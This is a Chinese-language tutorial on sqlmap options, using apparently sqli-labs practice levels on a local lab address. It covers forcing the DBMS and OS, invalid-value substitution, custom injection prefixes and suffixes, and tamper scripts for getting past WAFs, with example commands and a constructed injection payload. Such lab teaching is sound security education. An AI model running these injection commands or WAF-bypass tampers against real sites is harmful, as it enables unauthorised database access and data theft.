1、sqlmap强制设置DBMS
默认情况下sqlmap会自动探测目标web应用程序后台数据库管理系统
--dbms
数据库管理系统名称 [版本号]
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --dbms mysql
2、sqlmap强制设置OS
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --os linux
3、sqlmap强制设置无效值替换
--invalid-bignum
/ --invalid-logical
/ --invalid-string
通常sqlmap使用负值使参数失效
--invalid-bignum
使用大数使参数取值失效
--invalid-logical
使用布尔判断使参数值失效
--invalid-string
使用随机字符串使参数值失效
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-bignum
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-logical
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-string
4、sqlmap自定义注入负载位置
在有些环境中,只有当用户提供要附加到注入负载的特定后缀时,易受攻击的参数才被利用。
--prefix
设置SQL注入Payload前缀
--suffix
设置SQL注入payload后缀
例如查看Less-3的查询语句为
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
自己构造payload
python sqlmap.py -u "http://172.17.0.1/Less-3/?id=1" --prefix="')" --suffix=" AND ('AXSq'='AXSq"
$sql="SELECT * FROM users WHERE id=('1') AND ('AXSq'='AXSq') LIMIT 0,1";
5、sqlmap设置tamper脚本
sqlmap通过tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本
root@rane:/usr/share/sqlmap# ls
COMMITMENT data doc extra http.txt lib LICENSE plugins README.md sqlmapapi.py sqlmap.conf sqlmap.py tamper test thirdparty url.txt wget-log
root@rane:/usr/share/sqlmap# cd tamper
例如Less-32关使用宽字节注入脚本
python sqlmap.py -u "http://172.17.0.1/Less-32/?id=1" --tamper "unmagicquotes.py"